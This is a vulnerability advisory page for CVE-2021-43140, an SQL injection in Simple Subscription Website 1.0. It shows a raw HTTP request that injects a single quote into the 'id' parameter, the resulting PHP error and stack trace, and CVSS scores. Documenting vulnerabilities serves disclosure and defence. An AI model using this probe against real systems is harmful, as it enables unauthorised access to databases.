Attacker Value
Very High
CVE-2021-43140
CVE-2021-43140
(Last updated November 28, 2024) ▾
MITRE ATT&CK
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Execution
Techniques
Validation
Description
SQL Injection vulnerability exists in Sourcecodester. Simple Subscription Website 1.0. via the login.
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Technical Analysis
CVE-2021-43140
Vendor
Description:
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application’s handling of other input, to confirm whether a vulnerability is present.
MySQL Request:
GET /plan_application/?page=apply&id=4' HTTP/1.1 Host: 192.168.1.2 Cookie: PHPSESSID=jtble9h28f0v3kh3op1ivmm9k4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.2/plan_application/?page=view_plan&id=4 Accept-Encoding: gzip, deflate Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Connection: close Cache-Control: max-age=0
MySQL Response:
HTTP/1.1 200 OK Date: Sat, 13 Nov 2021 15:03:36 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24 X-Powered-By: PHP/7.4.24 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 3991 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1 ...[SNIP]... </b>: Uncaught Error: Call to a member function fetchArray() on bool in C:\xampp\htdocs\plan_application\apply.php:4 Stack trace: #0 C:\xampp\htdocs\plan_application\index.php(98): include() #1 {main} thrown in <b> ...[SNIP]...
Reproduce:
Proof:
CVSS V3 Severity and Metrics
Data provided by the National Vulnerability Database (NVD)
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High
General Information
Vendors
- simple subscription website project
Products
- simple subscription website 1.0
References
